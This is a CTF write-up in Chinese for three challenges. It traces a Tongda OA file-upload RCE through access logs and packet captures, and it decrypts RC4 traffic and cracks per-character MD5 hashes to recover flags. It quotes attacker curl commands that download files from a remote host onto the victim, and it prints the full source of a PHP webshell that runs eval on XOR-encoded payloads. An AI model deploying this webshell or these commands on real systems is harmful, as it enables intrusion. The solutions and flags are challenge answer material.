BrickGame

题目内容:

通关小游戏即可获得flag。

通关小游戏即可,一共三个关卡:


漏洞探踪,流量解密

题目内容:

网站遭遇异常攻击,通过日志与流量锁定攻击来源,阶段二的压缩包密码是攻击来源ip地址,比如127.0.0.1,对捕获的数据包进行解密,识别加密算法并还原flag。flag格式为flag:{xxxxx}

附件给了第一阶段和第二阶段两个文件夹,根据题目内容可知要先从第一阶段获取攻击ip地址

第一阶段的文件夹中给了一个日志文件 oa.access.log 和一个流量文件 第一阶段.cap

先看看流量,流量里相当一部分http响应状态码都是404,并且如果翻看http导出对象的话,可以发现明显是在进行敏感目录扫描,并且大小基本都是564bytes:

找大小明显不同的,发现 gateway.php 明显很大,还有敏感目录 upload.php

并且这些http响应全是OK,可以试着过滤出http响应是OK的流量:

http.response.phrase == "OK"

仔细看看 upload.php 的文件流量,能看到上传了一个jpg图片马:

在网上找找这个敏感目录,可以找到一个通达OA 任意文件上传+文件包含导致RCE的洞,之后在日志文件里找找就能发现有几个ip都访问这个目录的记录,一个一个试过来,最后发现攻击ip是192.168.30.234

拿攻击ip解第二阶段的压缩包,解出来一个新的流量文件 二阶段汇总.cap,一样先看看明显不同的http对象:

一个key,一个raw,再看看 gateway.php 进行的操作可以发现有两条比较重要的,还有一条提示了加密方式:

tcp.stream eq 91
&f=curl+-o+%25TEMP%25%5Ckey.exe+http%3A%2F%2F192.168.1.5%2Fkey 
url解码后结果:
&f=curl -o %TEMP%\key.exe http://192.168.1.5/key 
tcp.stream eq 95
Encryption is R, C, 4. Good luck 
tcp.stream eq 220
&f=curl+-o+%25TEMP%25%5Ckey.exe+http%3A%2F%2F192.168.1.5%2Fraw
url解码后结果:
&f=curl -o %TEMP%\key.exe http://192.168.1.5/raw

注意raw开头重复了key,删掉再RC4解就行了:


最安全的加密方式

题目内容:

找到了一个最安全的加密方式,然后将自己的密码用这种方式加密起来,你能破解出来吗?

流量里上传了加密脚本以及 flag.rar ,先全部提出来:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='25ming@';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

用25ming@解rar,拿到 flag.txt ,结合加密脚本可以知道里面都是md5值:

8fa14cdd754f91cc6554c9e71929cce7
2db95e8e1a9267b7a1188556b2013b33
0cc175b9c0f1b6a831c399e269772661
b2f5ff47436671b6e533d8dc3614845d
f95b70fdc3088560732a5ac135644506
b9ece18c950afbfa6b0fdbfa4ff731d3
2510c39011c5be704182423e3a695e91
e1671797c52e15f763380b45e841ec32
b14a7b8059d9c055954c92674ce60032
6f8f57715090da2632453988d9a1501b
cfcd208495d565ef66e7dff9f98764da
03c7c0ace395d80182db07ae2c30f034
e358efa489f58062f10dd7316b65649e
b14a7b8059d9c055954c92674ce60032
c81e728d9d4c2f636f067f89cc14862c
e1671797c52e15f763380b45e841ec32
4a8a08f09d37b73795649038408b5f33
4c614360da93c0a041b22e537de151eb
4b43b0aee35624cd95b910189b3dc231
e1671797c52e15f763380b45e841ec32
b14a7b8059d9c055954c92674ce60032
e1671797c52e15f763380b45e841ec32
8d9c307cb7f3c4a32822a51922d1ceaa
4a8a08f09d37b73795649038408b5f33
4b43b0aee35624cd95b910189b3dc231
57cec4137b614c87cb4e24a3d003a3e0
83878c91171338902e0fe0fb97a8c47a
e358efa489f58062f10dd7316b65649e
865c0c0b4ab0e063e5caa3387c1a8741
d95679752134a2d9eb61dbd7b91c4bcc
7b8b965ad4bca0e41ab51de7b31363a1
9033e0e305f247c0c3c80d0c7848c8b3
9033e0e305f247c0c3c80d0c7848c8b3
9033e0e305f247c0c3c80d0c7848c8b3
cbb184dd8e05c9709e5dcaedaa0495cf

本来还在想怎么搞md5里的pass和key,后来在线网站找了几个前面的md5,发现是分别对应 f l a g 的md5值,直接爆破:

import string
import hashlib

flag = ""
s = string.ascii_letters + "0123456789" + "_{@}"
with open("flag.txt","r") as f:
    lines = f.readlines()
    for line in lines:
        for j in s:
            if line.replace("\n","") == hashlib.md5(j.encode()).hexdigest():
                flag += j
print(flag)

#flag{The_m0st_2ecUre_eNcrYption}